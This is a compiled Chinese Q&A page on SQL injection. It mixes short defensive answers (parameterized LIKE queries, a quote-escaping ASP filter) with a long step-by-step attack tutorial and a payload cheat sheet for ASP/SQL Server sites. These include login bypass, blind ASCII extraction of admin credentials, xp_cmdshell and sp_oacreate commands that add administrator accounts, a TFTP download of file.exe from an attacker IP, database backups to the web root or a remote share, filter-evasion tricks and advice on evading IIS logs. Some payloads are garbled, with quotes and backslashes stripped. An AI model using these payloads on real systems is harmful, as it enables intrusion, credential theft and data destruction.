likesql注入

⑴ sql注入攻擊方法有哪些

所謂SQL注入式攻擊，就是攻擊者把SQL命令插入到Web表單的輸入域或頁面請求的查詢字元串，欺騙伺服器執行惡意的SQL命令。在某些表單中，用戶輸入的內容直接用來構造（或者影響）動態SQL命令，或作為存儲過程的輸入參數，這類表單特別容易受到SQL注入式攻擊。常見的SQL注入式攻擊過程類如：
⑴ 某個ASP.NET Web應用有一個登錄頁面，這個登錄頁面控制著用戶是否有權訪問應用，它要求用戶輸入一個名稱和密碼。
⑵ 登錄頁面中輸入的內容將直接用來構造動態的SQL命令，或者直接用作存儲過程的參數。

⑵ 如何在LIKE語句中使用參數，以及動態執行SQL語句

拼SQL的方法不好，因為有安全的風險，容易造成SQL的語法錯誤甚至SQL注入攻擊。安全的方法是將'%'加入到參數中：

--查詢圖書表中與查詢關鍵字匹配的書籍信息
ALTER PROCEDURE [dbo].[SP_SelectByKeywordProc]
(
@Keyword varchar(40)
)
AS
BEGIN
DECLARE @SqlString nvarchar(400);
SET @SqlString = N'SELECT * FROM BOOK WHERE BOOK_NAME LIKE @Key_word ';
SET @KeyWord = N'%' + Keyword + '%';

EXEC SP_EXECUTESQL @SqlString, N'@Key_word varchar(40)', @Key_word= @KeyWord;
RETURN(0);
END

這里還要注意帶參數的SP_EXECUTESQL系統存儲過程的使用方法：
1、前兩句為字元串，其中第一句為執行的SQL語句；第二句為語句中參數的定義，如果有多個變數則用逗號分隔；
2、後面的子句為賦值語句，可以有多個；
3、執行的動態SQL語句應當為ntext/nchar/nvarchar型，否則會報錯：「Procere expects parameter '@statement' of type 'ntext/nchar/nvarchar'.」

MSDN上的例子：
DECLARE @IntVariable int;
DECLARE @SQLString nvarchar(500);
DECLARE @ParmDefinition nvarchar(500);
DECLARE @max_title varchar(30);

SET @IntVariable = 197;
SET @SQLString = N'SELECT @max_titleOUT = max(Title)
FROM AdventureWorks.HumanResources.Employee
WHERE ManagerID = @level';
SET @ParmDefinition = N'@level tinyint, @max_titleOUT varchar(30) OUTPUT';

EXECUTE sp_executesql @SQLString, @ParmDefinition, @level = @IntVariable, @max_titleOUT=@max_title OUTPUT;

⑶ 簡單分析什麼是SQL注入漏洞

轉：

SQL注入，由於程序在實際使用中，為了管理龐大的數據信息，就會使用到資料庫。資料庫可以方便程序對所有數據信息進行統一的存儲和分類組織，便於查詢更新。用戶在使用程序時，程序可以自動通過對資料庫的查詢，將所獲得的信息按照一定格式反饋給用戶，同時用戶也是通過互動式的對話框提交給程序數據，從而使程序按照用戶想要的信息進行查詢，反饋給用戶想要的信息。
對於程序這種資料庫操作，先來看一段代碼：
strKeyword = Request ["keyword"];
sqlQuery = "SELECT * FROM Aritcles WHERE Keywords LIKE '%" +strKeyword + "%'";
這段代碼的主要目的是按照用戶提交的關鍵字Keyword，對軟體連接資料庫中的文件進行搜索，找出所有包含用戶關鍵字的文章來。假設此時，我們提交給軟體「hack」這個數據，這時，「hack」這個關鍵字就會被傳遞給Keyword關鍵變數。接下來看看代碼的執行情況，keyword獲得數據「hack」後，被賦值給strKeyword變數，然後strKeyword變數被放入查詢語句，此時的查詢語句表現為："SELECT * FROM Aritcles WHERE Keywords LIKE '%hack%'"，這個查詢語句的意思就是從資料庫Aritcles表中查詢出所有包含「hack」這個關鍵字的文章。注意「hack」這個單詞是我們提交給程序的，因此可以對其隨意修改的。於是，可以這樣修改，把它變為「hack'; DROP TABLE Aritcles; --」。
現在看看程序會怎樣處理這個外部關鍵字數據。首先，查詢語句變成了：「SELECT * FROM Aritcles WHERE Keywords LIKE '%hack%'; DROP TABLE Aritcles; --」，我們知道DROP TABLE語句是在資料庫操作中刪除一個指定的表的意思，現在那個查詢語句的意思就變了，以中間的分號為標志，分成兩個部分，首先還是正常的查出所有包含hack關鍵字的文章。但是接下來……
由於程序使用的資料庫是微軟的SQL SERVER，該資料庫支持多命令語句執行，這些資料庫操作的命令語句都是由分號分隔開，然後依次執行的。這里的「DROP TABLE Aritcles; --」是一個完全合法的命令語句，「--」符號是SQL SERVER資料庫特有注釋標識，資料庫不執行任何命令。這樣，當這段查詢語句執行時，就會去執行一個刪除Aritcles表的資料庫命令。
像這樣，通過控制傳遞給程序資料庫操作語句的關鍵變數來獲得惡意控製程序資料庫，從而獲取有用信息或者製造惡意破壞的，甚至是控制用戶計算機系統的漏洞，就稱之為「SQL注入漏洞」。
SQL注入漏洞完全是利用了將包含了某種目的的SQL語句，通過關鍵變數插入到程序中正常的資料庫操作語句里。程序一旦發生注入漏洞，就會引發一系列安全隱患。
SQL注入漏洞是不分語言的，無論用什麼語言開發的程序，只要涉及對資料庫的操作，都可能存在SQL注入漏洞。雖然有時會因為編寫語言的要求，或者程序設置環境的不同，導致SQL注入漏洞很難被常用的方法利用，但是總可以找到突破的方法。

2

下面以網站程序為例，看一看SQL注入漏洞最經常被利用的地方，也是危害最大的地方。
都知道對於一個網站來說，可以說資料庫存放著網站所有的信息，WEB應用程序完全是憑借資料庫中的信息進行正常的運行的。一個網站程序中，最關鍵的一個部分就是對用戶的合法性的判斷，也就是看訪問它的用戶是不是一個注冊的用戶。這個時候，就會要求輸入用戶名和密碼，然後根據輸入的信息查詢資料庫，判斷是否存在用戶，並檢查密碼是不是一致，如果一致則承認合法用戶，否則將給予非法提示。下面看一段常常出現在論壇程序中的用戶認證程序代碼：
（1）admin1 = trim(request("name"))
（2）password1 = trim(request("password"))
（3）Set rs = Server.CreateObject ("ADODB.Recordset")
（4）sql = "select * from userlogin where name='"&admin1&"' and password='"&password1&"'"
（5）rs.Open sql,conn,1,1
（6）if rs.eof and rs.bof then
（7）response.write"<SCRIPT language=javaScript>alert('用戶名或密碼不正確！')"
（8）response.write"javascript:history.go(-1)</SCRIPT>"
（9）response.end
（10）else
（11）session("name")=rs("name")
（12）session("password")=rs("password")
（13）response.Redirect("default.asp")
（14）end if
這段程序的第1和第2行分別通過Request對象獲得用戶名和密碼，第3行是建立一個資料庫操作集對象，第4行就是將用戶名以及密碼同時作為查詢條件放入到userlogin表中進行查詢，第5到第14行就是根據查詢結果進行判斷，彈出警告窗口，或者重定向網頁。
假設資料庫中有個用戶guest，密碼123456，那麼該用戶登錄時，認證代碼中的第4行則變為：sql = "select * from userlogin where name='guest' and password='123456'"，這是一個合法查詢語句，所以用戶能正常登錄，反之則登錄不了。
看起來這是一個比較嚴格的認證代碼，但是事實呢？
現在，我們用戶名提交「'or 1='1」，密碼也是一樣，同樣也會成為合法用戶，這是為什麼？
當我們提交表單後，代碼通過Request對象獲得提交的用戶名'or 1='1以及密碼'or 1='1後，直接將這些數據放入了第4行的查詢語句中，於是變成了這樣：sql = "select * from userlogin where name=''or 1='1' and password=''or 1='1'"。我們先看1='1'，這個絕對永遠為真，如果你說假，那麼你回小學學數學吧，學好再來看吧，呵呵~注意在大馬前面還有一個or，這代表者1='1'是作為一個條件選擇語句放入資料庫查詢的，這樣無論查詢語句中的用戶名和密碼是否正確，都會因為or後面的1='1'代碼，導致查詢語句返回值永遠為真，這樣就是繞過了看似嚴格的用戶認證，獲得了合法的許可權。

⑷ ibatis中使用like時怎麼避過sql注入

ibatis中使用like時如何避過sql注入
普通的拼寫方式為：
<if test="remark != null and remark != ''">and remark like '%'+#{remark}+'%'</if>

如果遇到變數名剛好是資料庫的關鍵字，拼寫方式如下所示：
<if test="action != null and action != ''">
<![CDATA[
and action like '%'+#{action}+'%'
]]>
</if>

⑸ 如何防治SQL注入

隨著B/S模式應用開發的發展，使用這種模式編寫應用程序的程序員也越來越多。但是由於這個行業的入門門檻不高，程序員的水平及經驗也參差不齊，相當大一部分程序員在編寫代碼的時候，沒有對用戶輸入數據的合法性進行判斷，使應用程序存在安全隱患。用戶可以提交一段資料庫查詢代碼，根據程序返回的結果，獲得某些他想得知的數據，這就是所謂的SQL Injection，即SQL注入。

SQL注入是從正常的WWW埠訪問，而且表面看起來跟一般的Web頁面訪問沒什麼區別，所以目前市面的防火牆都不會對SQL注入發出警報

，如果管理員沒查看IIS日誌的習慣，可能被入侵很長時間都不會發覺。

但是，SQL注入的手法相當靈活，在注入的時候會碰到很多意外的情況。能不能根據具體情況進行分析，構造巧妙的SQL語句，從而成功獲取想要的數據，是高手與「菜鳥」的根本區別。

根據國情，國內的網站用ASP+Access或SQLServer的佔70%以上，php+MySQ佔L20%，其他的不足10%。在本文，我們從分入門、進階至高級講解一下ASP注入的方法及技巧，PHP注入的文章由NB聯盟的另一位朋友zwell撰寫，希望對安全工作者和程序員都有用處。了解 ASP注入的朋友也請不要跳過入門篇，因為部分人對注入的基本判斷方法還存在誤區。大家准備好了嗎？Let's Go...

入門篇

如果你以前沒試過SQL注入的話，那麼第一步先把IE菜單=>工具=>Internet選項=>高級=>顯示友好 HTTP 錯誤信息前面的勾去掉。否則，不論伺服器返回什麼錯誤，IE都只顯示為HTTP 500伺服器錯誤，不能獲得更多的提示信息。

第一節、SQL注入原理

以下我們從一個網站www.mytest.com開始（註：本文發表前已徵得該站站長同意，大部分都是真實數據）。

在網站首頁上，有名為「IE不能打開新窗口的多種解決方法」的鏈接，地址為：http://www.mytest.com/showdetail.asp?id=49，我們在這個地址後面加上單引號』，伺服器會返回下面的錯誤提示：

Microsoft JET Database Engine 錯誤 '80040e14'

字元串的語法錯誤 在查詢表達式 'ID=49'' 中。

/showdetail.asp，行8

從這個錯誤提示我們能看出下面幾點：

1. 網站使用的是Access資料庫，通過JET引擎連接資料庫，而不是通過ODBC。

2. 程序沒有判斷客戶端提交的數據是否符合程序要求。

3. 該SQL語句所查詢的表中有一名為ID的欄位。

從上面的例子我們可以知道，SQL注入的原理，就是從客戶端提交特殊的代碼，從而收集程序及伺服器的信息，從而獲取你想到得到的資料。

第二節、判斷能否進行SQL注入

看完第一節，有一些人會覺得：我也是經常這樣測試能否注入的，這不是很簡單嗎？

其實，這並不是最好的方法，為什麼呢？

首先，不一定每台伺服器的IIS都返回具體錯誤提示給客戶端，如果程序中加了cint(參數)之類語句的話，SQL注入是不會成功的，但伺服器同樣會報錯，具體提示信息為處理 URL 時伺服器上出錯。請和系統管理員聯絡。

其次，部分對SQL注入有一點了解的程序員，認為只

要把單引號過濾掉就安全了，這種情況不為少數，如果你用單引號測試，是測不到注入點的

那麼，什麼樣的測試方法才是比較准確呢？答案如下：

① http://www.mytest.com/showdetail.asp?id=49

② http://www.mytest.com/showdetail.asp?id=49 ;and 1=1

③ http://www.mytest.com/showdetail.asp?id=49 ;and 1=2

這就是經典的1=1、1=2測試法了，怎麼判斷呢？看看上面三個網址返回的結果就知道了：

可以注入的表現：

① 正常顯示（這是必然的，不然就是程序有錯誤了）

② 正常顯示，內容基本與①相同

③ 提示BOF或EOF（程序沒做任何判斷時）、或提示找不到記錄（判斷了rs.eof時）、或顯示內容為空（程序加了on error resume next）

不可以注入就比較容易判斷了，①同樣正常顯示，②和③一般都會有程序定義的錯誤提示，或提示類型轉換時出錯。

當然，這只是傳入參數是數字型的時候用的判斷方法，實際應用的時候會有字元型和搜索型參數，我將在中級篇的「SQL注入一般步驟」再做分析。

第三節、判斷資料庫類型及注入方法

不同的資料庫的函數、注入方法都是有差異的，所以在注入之前，我們還要判斷一下資料庫的類型。一般ASP最常搭配的資料庫是Access和SQLServer，網上超過99%的網站都是其中之一。

怎麼讓程序告訴你它使用的什麼資料庫呢？來看看：

SQLServer有一些系統變數，如果伺服器IIS提示沒關閉，並且SQLServer返回錯誤提示的話，那可以直接從出錯信息獲取，方法如下：

http://www.mytest.com/showdetail.asp?id=49 ;and user>0

這句語句很簡單，但卻包含了SQLServer特有注入方法的精髓，我自己也是在一次無意的測試中發現這種效率極高的猜解方法。讓我看來看看它的含義：首先，前面的語句是正常的，重點在and user>0，我們知道，user是SQLServer的一個內置變數，它的值是當前連接的用戶名，類型為nvarchar。拿一個 nvarchar的值跟int的數0比較，系統會先試圖將nvarchar的值轉成int型，當然，轉的過程中肯定會出錯，SQLServer的出錯提示是：將nvarch

ar值 」abc」 轉換數據類型為 int 的列時發生語法錯誤，呵呵，abc正是變數user的值，這樣，不廢吹灰之力就拿到了資料庫的用戶名。在以後的篇幅里，大家會看到很多用這種方法的語句。

順便說幾句，眾所周知，SQLServer的用戶sa是個等同Adminstrators許可權的角色，拿到了sa許可權，幾乎肯定可以拿到主機的 Administrator了。上面的方法可以很方便的測試出是否是用sa登錄，要注意的是：如果是sa登錄，提示是將」dbo」轉換成int的列發生錯誤，而不是」sa」。

如果伺服器IIS不允許返回錯誤提示，那怎麼判斷資料庫類型呢？我們可以從Access和SQLServer和區別入手，Access和 SQLServer都有自己的系統表，比如存放資料庫中所有對象的表，Access是在系統表[msysobjects]中，但在Web環境下讀該表會提示「沒有許可權」，SQLServer是在表[sysobjects]中，在Web環境下可正常讀取。

在確認可以注入的情況下，使用下面的語句：

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from sysobjects)>0

http://www.mytest.com/showdetail.asp?id=49 ;and (select count(*) from msysobjects)>0

如果資料庫是SQLServer，那麼第一個網址的頁面與原頁面http://www.mytest.com/showdetail.asp?id= 49是大致相同的；而第二個網址，由於找不到表msysobjects，會提示出錯，就算程序有容錯處理，頁面也與原頁面完全不同。

如果資料庫用的是Access，那麼情況就有所不同，第一個網址的頁面與原頁面完全不同；第二個網址，則視乎資料庫設置是否允許讀該系統表，一般來說是不允許的，所以與原網址也是完全不同。大多數情況下，用第一個網址就可以得知系統所用的資料庫類型，第二個網址只作為開啟IIS錯誤提示時的驗證。

進階篇

在入門篇，我們學會了SQL注入的判斷方法，但真正要拿到網站的保密內容，是遠遠不夠的。接下來，我們就繼續學習如何從資料庫中獲取想要獲得的內容，首先，我們先看看SQL注入的一般步驟：

第一節、SQL注入的一般步驟

首先，判斷環境，尋找注入點，判斷資料庫類型，這在入門篇已經講過了。

其次，根據注入參數類型，在腦海中重構SQL語句的原貌，按參數類型主要分為下面三種：

(A) ID=49 這類注入的參

數是數字型，SQL語句原貌大致如下：

Select * from 表名 where 欄位=49

注入的參數為ID=49 And [查詢條件]，即是生成語句：

Select * from 表名 where 欄位=49 And [查詢條件]

(B) Class=連續劇 這類注入的參數是字元型，SQL語句原貌大致概如下：

Select * from 表名 where 欄位=』連續劇』

注入的參數為Class=連續劇』 and [查詢條件] and 『』=』 ，即是生成語句：

Select * from 表名 where 欄位=』連續劇』 and [查詢條件] and 『』=』』

&; 搜索時沒過濾參數的，如keyword=關鍵字，SQL語句原貌大致如下：

Select * from 表名 where 欄位like 』%關鍵字%』

注入的參數為keyword=』 and [查詢條件] and 『%25』=』， 即是生成語句：

Select * from 表名 where欄位like 』%』 and [查詢條件] and 『%』=』%』

接著，將查詢條件替換成SQL語句，猜解表名，例如：

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同，說明附加條件成立，即表Admin存在，反之，即不存在（請牢記這種方法）。如此循環，直至猜到表名為止。

表名猜出來後，將Count(*)替換成Count(欄位名)，用同樣的原理猜解欄位名。

有人會說：這里有一些偶然的成分，如果表名起得很復雜沒規律的，那根本就沒得玩下去了。說得很對，這世界根本就不存在100%成功的黑客技術，蒼蠅不叮無縫的蛋，無論多技術多高深的黑客，都是因為別人的程序寫得不嚴密或使用者保密意識不夠，才有得下手。

有點跑題了，話說回來，對於SQLServer的庫，還是有辦法讓程序告訴我們表名及欄位名的，我們在高級篇中會做介紹。

最後，在表名和列名猜解成功後，再使用SQL語句，得出欄位的值，下面介紹一種最常用的方法－Ascii逐字解碼法，雖然這種方法速度很慢，但肯定是可行的方法。

我們舉個例子，已知表Admin中存在username欄位，首先，我們取第一條記錄，測試長度：

http://www.mytest.com/showdetail.asp?id=49 ;and (select top 1 len(username) from Admin)>0

先說明原理：如果top 1的username長度大於0，則條件成立；接著就是>1、>2、>3這樣測試下去，一直到條件不成立為止，比如>7成立，>8不成立，就是len(username)=8

當然沒人會笨得從0,1,2,3一個個測試，怎麼樣才比較快就看各自發揮了。在得到username的長度後，用mid(username,N,1)截取第N位字元，再asc(mid(username,N,1))得到ASCII碼，比如：

id=49 and (select top 1 asc(mid(username,1,1)) from Admin)>0

同樣也是用逐步縮小范圍的方法得到第1位字元的ASCII碼，注意的是英文和數字的ASCII碼在1-128之間，可以用折半法加速猜解，如果寫成程序測試，效率會有極大的提高。

第二節、SQL注入常用函數

有SQL語言基礎的人，在SQL注入的時候成功率比不熟悉的人高很多。我們有必要提高一下自己的SQL水平，特別是一些常用的函數及命令。

Access：asc(字元) SQLServer：unicode(字元)

作用：返回某字元的ASCII碼

Access：chr(數字) SQLServer：nchar(數字)

作用：與asc相反，根據ASCII碼返回字元

Access：mid(字元串,N,L) SQLServer：substring(字元串,N,L)

作用：返回字元串從N個字元起長度為L的子字元串，即N到N+L之間的字元串

Access：abc(數字) SQLServer：abc (數字)

作用：返回數字的絕對值（在猜解漢字的時候會用到）

Access：A between B And C SQLServer：A between B And C

作用：

判斷A是否界於B與C之間

第三節、中文處理方法

在注入中碰到中文字元是常有的事，有些人一碰到中文字元就想打退堂鼓了。其實只要對中文的編碼有所了解，「中文恐懼症」很快可以克服。

先說一點常識：

Access中，中文的ASCII碼可能會出現負數，取出該負數後用abs()取絕對值，漢字字元不變。

SQL Server中，中文的ASCII為正數，但由於是UNICODE的雙位編碼，不能用函數ascii()取得ASCII碼，必須用函數unicode ()返回unicode值，再用nchar函數取得對應的中文字元。

了解了上面的兩點後，是不是覺得中文猜解其實也跟英文差不多呢？除了使用的函數要注意、猜解范圍大一點外，方法是沒什麼兩樣的。

高級篇

看完入門篇和進階篇後，稍加練習，破解一般的網站是沒問題了。但如果碰到表名列名猜不到，或程序作者過濾了一些特殊字元，怎麼提高注入的成功率？怎麼樣提高猜解效率？請大家接著往下看高級篇。

第一節、利用系統表注入SQLServer資料庫

SQL Server是一個功能強大的資料庫系統，與操作系統也有緊密的聯系，這給開發者帶來了很大的方便，但另一方面，也為注入者提供了一個跳板，我們先來看看幾個具體的例子

：

① http://Site/url.asp?id=1;exec master..xp_cmdshell 「net user name password /add」--

分號;在SQLServer中表示隔開前後兩句語句，--表示後面的語句為注釋，所以，這句語句在SQLServer中將被分成兩句執行，先是Select出ID=1的記錄，然後執行存儲過程xp_cmdshell，這個存儲過程用於調用系統命令，於是，用net命令新建了用戶名為name、密碼為password的windows的帳號，接著：

② http://Site/url.asp?id=1;exec master..xp_cmdshell 「net localgroup name administrators /add」--

將新建的帳號name加入管理員組，不用兩分鍾，你已經拿到了系統最高許可權！當然，這種方法只適用於用sa連接資料庫的情況，否則，是沒有許可權調用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;and db_name()>0

前面有個類似的例子and user>0，作用是獲取連接用戶名，db_name()是另一個系統變數，返回的是連接的資料庫名。

④ http://Site/url.asp?id=1;backup database 資料庫名 to disk=』c:\inetpub\wwwroot\1.db』;--

這是相當狠的一招，從③拿到的資料庫名，加上某些IIS出錯暴露出的絕對路徑，將資料庫備份到Web目錄下面，再用HTTP把整個資料庫就完完整整的下載回來，所有的管理員及用戶密碼都一覽無遺！在不知道絕對路徑的時候，還可以備份到網路地址的方法（如\202.96.xx.xx\Share \1.db），但成功率不高。

⑤ http://Site/url.asp?id=1 ;and (Select Top 1 name from sysobjects where xtype=』U』 and status>0)>0

前面說過，sysobjects是SQLServer的系統表，存儲著所有的表名、視圖、約束及其它對象，xtype=』U』 and status>0，表示用戶建立的表名，上面的語句將第一個表名取出，與0比較大小，讓報錯信息把表名暴露出來。第二、第三個表名怎麼獲取？還是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;and (Select Top 1 col_name(object_id(『表名』),1) from sysobjects)>0

從⑤拿到表名後，用object_id(『表名』)獲取表名對應的內部ID，col_name(表名ID,1)代表該表的第1個欄位名，將1換成2,3,4...就可以逐個獲取所猜解表裡面的欄位名。

以上6點是我研究SQLServer注入半年多以來的心血結晶，可以看出，對SQLServer的了解程度，直接影響著成功率及猜解速度。在我研究SQLServer注入之後，我在開發方面的水平也得到很大的提高，呵呵，也許安全與開發本來就是相輔相成的吧。

第二節、繞過程序限制繼續注入

在入門篇提到，有很多人喜歡用』號測試注入漏洞，所以也有很多人用過濾』號的方法來「防止」注入漏洞，這也許能擋住一些入門者的攻擊，但對SQL注入比較熟悉的人，還是可以利用相關的函數，達到繞過程序限制的目的。

在「SQL注入的一般步驟」一節中，我所用的語句，都是經過我優化，讓其不包含有單引號的；在「利用系統表注入SQLServer資料庫」中，有些語句包含有』號，我們舉個例子來看

看怎麼改造這些語句：

簡單的如where xtype=』U』，字元U對應的ASCII碼是85，所以可以用where xtype=char(85)代替；如果字元是中文的，比如where name=』用戶』，可以用where name=nchar(29992)+nchar(25143)代替。

第三節、經驗小結

1.有些人會過濾Select、Update、Delete這些關鍵字，但偏偏忘記區分大小寫，所以大家可以用selecT這樣嘗試一下。

2.在猜不到欄位名時，不妨看看網站上的登錄表單，一般為了方便起見，欄位名都與表單的輸入框取相同的名字。

3.特別注意：地址欄的+號傳入程序後解釋為空格，%2B解釋為+號，%25解釋為%號，具體可以參考URLEncode的相關介紹。

4.用Get方法注入時，IIS會記錄你所有的提交字元串，對Post方法做則不記錄，所以能用Post的網址盡量不用Get。

5. 猜解Access時只能用Ascii逐字解碼法，SQLServer也可以用這種方法，只需要兩者之間的區別即可，但是如果能用SQLServer的報錯信息把值暴露出來，那效率和准確率會有極大的提高。

防範方法

SQL注入漏洞可謂是「千里之堤，潰於蟻穴」，這種漏洞在網上極為普遍，通常是由於程序員對注入不了解，或者程序過濾不嚴格，或者某個參數忘記檢查導致。在這里，我給大家一個函數，代替ASP中的Request函數，可以對一切的SQL注入Say NO，函數如下：

Function SafeRequest(ParaName,ParaType)
'--- 傳入參數 ---
'ParaName:參數名稱-字元型
'ParaType:參數類型-數字型(1表示以上參數是數字，0表示以上參數為字元)

Dim ParaValue
ParaValue=Request(ParaName)
If ParaType=1 then
If not isNumeric(ParaValue) then
Response.write "參數" & ParaName & "必須為數字型！"
Response.end
End if
Else
ParaValue=replace(ParaValue,"'","''")
End if
SafeRequest=ParaValue
End function

文章到這里就結束了，不管你是安全人員、技術愛好者還是程序員，我都希望本文能對你有所幫助。

⑹ sql注入的語句特徵

1.判斷有無注入點
; and 1=1 and 1=2
2.猜表一般的表的名稱無非是admin adminuser user pass password 等..
and 0<>(select count(*) from *)
and 0<>(select count(*) from admin) ---判斷是否存在admin這張表
3.猜帳號數目 如果遇到0< 返回正確頁面， 1<返回錯誤頁面，說明帳號數目就是1個
and 0<(select count(*) from admin)
and 1<(select count(*) from admin)
4.猜解欄位名稱 在len( ) 括弧裡面加上我們想到的欄位名稱.
and 1=(select count(*) from admin where len(*)>0)--
and 1=(select count(*) from admin where len（用戶欄位名稱name)>0)
and 1=(select count(*) from admin where len（密碼欄位名稱password)>0)
5.猜解各個欄位的長度 猜解長度就是把>0變換 直到返回正確頁面為止
and 1=(select count(*) from admin where len(*)>0)
and 1=(select count(*) from admin where len(name)>6) 錯誤
and 1=(select count(*) from admin where len(name)>5) 正確 長度是6
and 1=(select count(*) from admin where len(name)=6) 正確
and 1=(select count(*) from admin where len(password)>11) 正確
and 1=(select count(*) from admin where len(password)>12) 錯誤 長度是12
and 1=(select count(*) from admin where len(password)=12) 正確
6.猜解字元
and 1=(select count(*) from admin where left(name,1)=a) ---猜解用戶帳號的第一位
and 1=(select count(*) from admin where left(name,2)=ab)---猜解用戶帳號的第二位
就這樣一次加一個字元這樣猜，猜到夠你剛才猜出來的多少位了就對了，帳號就算出來了
and 1=(select top 1 count(*) from Admin where Asc(mid(pass,5,1))=51) --
這個查詢語句可以猜解中文的用戶和密碼.只要把後面的數字換成中文的ASSIC碼就OK.最後把結果再轉換成字元.
group by users. id having 1=1--
group by users. id,users.username,users.password,users.privs having 1=1--
; insert into users values( 666,attacker,foobar,0xffff )--
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id)-
UNION SELECT TOP 1 COLUMN_NAME FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=logintable WHERE COLUMN_NAME NOT IN
(login_id,login_name)-
UNION SELECT TOP 1 login_name FROM logintable-
UNION SELECT TOP 1 password FROM logintable where login_name=Rahul--
看伺服器打的補丁=出錯了打了SP4補丁
and 1=(select @@VERSION)--
看資料庫連接賬號的許可權，返回正常，證明是伺服器角色sysadmin許可權。
and 1=(SELECT IS_SRVROLEMEMBER(sysadmin))--
判斷連接資料庫帳號。（採用SA賬號連接 返回正常=證明了連接賬號是SA）
and sa=(SELECT System_user)--
and user_name()=dbo--
and 0<>(select user_name()--
看xp_cmdshell是否刪除
and 1=(SELECT count(*) FROM master.dbo.sysobjects WHERE xtype = X AND name = xp_cmdshell)--
xp_cmdshell被刪除，恢復，支持絕對路徑的恢復
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,xplog70.dll--
;EXEC master.dbo.sp_addextendedproc xp_cmdshell,c:inetpubwwwrootxplog70.dll--
反向PING自己實驗
;use master;declare @s int;exec sp_oacreate wscript.shell,@s out;exec sp_oamethod @s,run,NULL,cmd.exe /c ping 192.168.0.1;--
加帳號
;DECLARE @shell INT EXEC SP_OACREATEwscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C:WINNTsystem32cmd.exe
/c net user jiaoniang$ 1866574 /add--
創建一個虛擬目錄E盤：
;declare @o int exec sp_oacreatewscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootmkwebdir.vbs -w 默認Web站點 -v e,e：--
訪問屬性：（配合寫入一個webshell）
declare @o int exec sp_oacreate wscript.shell,@o out exec sp_oamethod @o,run,NULL,cscript.exec:inetpubwwwrootchaccess.vbs -a w3svc/1/ROOT/e +browse
爆庫 特殊技巧：：%5c= 或者把/和 修改%5提交
and 0<>(select top 1 paths from newtable)--
得到庫名（從1到5都是系統的id，6以上才可以判斷）
and 1=(select name from master.dbo.sysdatabases where dbid=7)--
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
依次提交 dbid = 7,8,9.... 得到更多的資料庫名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 暴到一個表 假設為 admin
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in (Admin)) 來得到其他的表。
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin
and uid>(str(id))) 暴到UID的數值假設為18779569 uid=id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569) 得到一個admin的一個欄位，假設為 user_id
and 0<>(select top 1 name from bbs.dbo.syscolumns where id=18779569 and name not in
(id,...)) 來暴出其他的欄位
and 0<(select user_id from BBS.dbo.admin where username>1) 可以得到用戶名
依次可以得到密碼。假設存在user_id username,password 等欄位
and 0<>(select count(*) from master.dbo.sysdatabases where name>1 and dbid=6)
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U) 得到表名
and 0<>(select top 1 name from bbs.dbo.sysobjects where xtype=U and name not in(Address))
and 0<>(select count(*) from bbs.dbo.sysobjects where xtype=U and name=admin and uid>(str(id))) 判斷id值
and 0<>(select top 1 name from BBS.dbo.syscolumns where id=773577794) 所有欄位
id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,* from admin
id=-1 union select 1,2,3,4,5,6,7,8,*,9,10,11,12,13 from admin (union，access也好用）
得到WEB路徑
;create table [dbo].[swap] ([swappass][char](255));--
and (select top 1 swappass from swap)=1--
;CREATE TABLE newtable(id int IDENTITY(1,1),paths varchar(500)) Declare @test varchar(20) exec master..xp_regread
@rootkey=HKEY_LOCAL_MACHINE,@key= Roots,@value_name=/,
values=@testOUTPUT insert into paths(path) values(@test)--
;use ku1;--
;create table cmd (str image);-- 建立image類型的表cmd
存在xp_cmdshell的測試過程：
;exec master..xp_cmdshell dir
;exec master.dbo.sp_addlogin jiaoniang$;-- 加SQL帳號
;exec master.dbo.sp_password null,jiaoniang$,1866574;--
;exec master.dbo.sp_addsrvrolemember jiaoniang$ sysadmin;--
;exec master.dbo.xp_cmdshell net user jiaoniang$ 1866574 /workstations:* /times:all /passwordchg:yes /passwordreq:yes
/active:yes /add;--
;exec master.dbo.xp_cmdshell net localgroup administrators jiaoniang$ /add;--
exec master..xp_servicecontrol start,schele 啟動服務
exec master..xp_servicecontrol start,server
; DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：WINNTsystem32
cmd.exe /c net user jiaoniang$ 1866574 /add
;DECLARE @shell INT EXEC SP_OACREATE wscript.shell,@shell OUTPUT EXEC SP_OAMETHOD @shell,run,null,C：WINNTsystem32cmd.exe
/c net localgroup administrators jiaoniang$ /add
; exec master..xp_cmdshell tftp -i youip get file.exe-- 利用TFTP上傳文件
;declare @a sysname set @a=xp_+cmdshell exec @a dir c:
;declare @a sysname set @a=xp+_cm』+』dshell exec @a dir c:
;declare @a;set @a=db_name();backup database @a to disk=你的IP你的共享目錄bak.dat
如果被限制則可以。
select * from openrowset(sqloledb,server;sa;,select OK! exec master.dbo.sp_addlogin hax)
查詢構造：
SELECT * FROM news WHERE id=... AND topic=... AND .....
adminand 1=(select count(*) from [user] where username=victim and right(left(userpass,01),1)=1) and userpass <>
select 123;--
;use master;--
:a or name like fff%;-- 顯示有一個叫ffff的用戶哈。
and 1<>(select count(email) from [user]);--
;update [users] set email=(select top 1 name from sysobjects where xtype=u and status>0) where name=ffff;--
;update [users] set email=(select top 1 id from sysobjects where xtype=u and name=ad) where name=ffff;--
